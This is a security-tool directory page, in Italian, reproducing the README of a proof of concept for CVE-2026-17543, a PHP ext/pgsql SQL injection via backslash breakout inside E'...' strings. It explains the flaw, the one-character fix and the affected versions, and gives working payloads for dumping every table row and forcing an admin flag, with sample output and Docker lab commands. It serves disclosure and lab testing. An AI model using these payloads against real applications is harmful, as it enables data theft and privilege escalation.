Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — Exploit PoC per CVE-2026-17543: SQL injection in PHP ext/pgsql tramite backslash breakout, con payload di esfiltrazione dei dati ed escalation dei privilegi di amministratore per PostgreSQL. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Exploit PoC per CVE-2026-17543: SQL injection in PHP ext/pgsql tramite backslash breakout, con payload di esfiltrazione dei dati ed escalation dei privilegi di amministratore per PostgreSQL.

Vedi Repository
1121 mese faNon ancora revisionato

CVE-2026-17543 — SQL Injection in PHP ext/pgsql tramite E'...' Backslash Breakout

Proof of concept per CVE-2026-17543 (CVSS 9.8 Critical, CWE-89), una vulnerabilità di SQL injection nell'estensione procedurale PostgreSQL di PHP.

Riepilogo della vulnerabilità

pg_insert(), pg_select(), pg_update(), pg_delete() e pg_convert() instradano tutti i valori stringa attraverso php_pgsql_convert(), che:

  1. Escape del valore con PQescapeStringConn() di libpq — che, con standard_conforming_strings = on (impostazione predefinita di PostgreSQL dalla 9.1), raddoppia ' in '' e lascia \ invariato (corretto per un letterale '...' standard).
  2. Racchiude il risultato con php_pgsql_add_quotes() in una costante di stringa con escape E'...' invece di una semplice '...'.

All'interno di E'...', la barra inversa è un carattere di escape, quindi una \ posta prima di una virgoletta vanifica il raddoppio delle virgolette: \' diventa una ' letterale e la seconda virgoletta — inserita dall'escape per essere un letterale raddoppiato — termina ora la stringa prima del previsto. Tutto ciò che segue è SQL grezzo iniettato.

La correzione ufficiale (commit ab048bd83b57) è di un solo carattere: emettere '...' invece di E'...'.

Versioni interessate

Non interessate: pg_query_params() (binding reale dei parametri) e le prepared statement PDO_PGSQL / PDO::quote() — questi usano percorsi di codice distinti che non chiamano mai php_pgsql_add_quotes().

Payload

root@kitploit:~
zzz\' OR 1=1 --

(una barra inversa immediatamente prima della virgoletta singola)

  • Build vulnerabile emette ... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 viene interpretato come SQL → restituisce tutte le righe.
  • Build corretta emette ... WHERE "name"='zzz\'' OR 1=1 --' → la barra inversa è ordinaria, quindi OR 1=1 -- viene assorbita dentro il letterale di stringa → non corrisponde a nulla.

Un secondo payload (eve\', true) --) dimostra l'escalation dei privilegi tramite pg_insert(), forzando una colonna admin a true.

File

Avvio rapido (Docker)

root@kitploit:~
docker compose up --build --abort-on-container-exit

Output previsto su una build vulnerabile

root@kitploit:~
PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

Su una build corretta, l'SQL generato contiene '...' (senza E), [1] riporta rows returned: 0 / no injection e [2] riporta admin flag: 'f'.

Esecuzione senza Docker

Punta PGCONN a qualsiasi PostgreSQL ed esegui con una PHP vulnerabile:

root@kitploit:~
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

Requisiti

  • Una build PHP vulnerabile negli intervalli sopra indicati, compilata con ext/pgsql (--with-pgsql / l'estensione pgsql).
  • Qualsiasi PostgreSQL (9.1+, cioè con standard_conforming_strings = on).

Pulizia

root@kitploit:~
docker compose down -v

⚠️ Avviso di sicurezza

L'immagine PHP qui utilizzata è, per definizione, non corretta per CVE-2026-17543. Eseguitela solo in un container isolato e usa e getta, e docker compose down -v al termine. Non puntate mai questo PoC a un database a cui tenete.

Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • Fix commit: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
Scarica lo strumento
BranchVulnerabileCorretta
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9
FileDescrizione
poc.phpDimostra sia la variante di esfiltrazione dati con pg_select sia quella di escalation dei privilegi con pg_insert; stampa l'SQL generato così il token E'...' è visibile
DockerfileFissa un'immagine PHP CLI vulnerabile (php:8.4.23-cli) con ext/pgsql
docker-compose.ymlAvvia PostgreSQL 16 + il container PHP vulnerabile ed esegue poc.php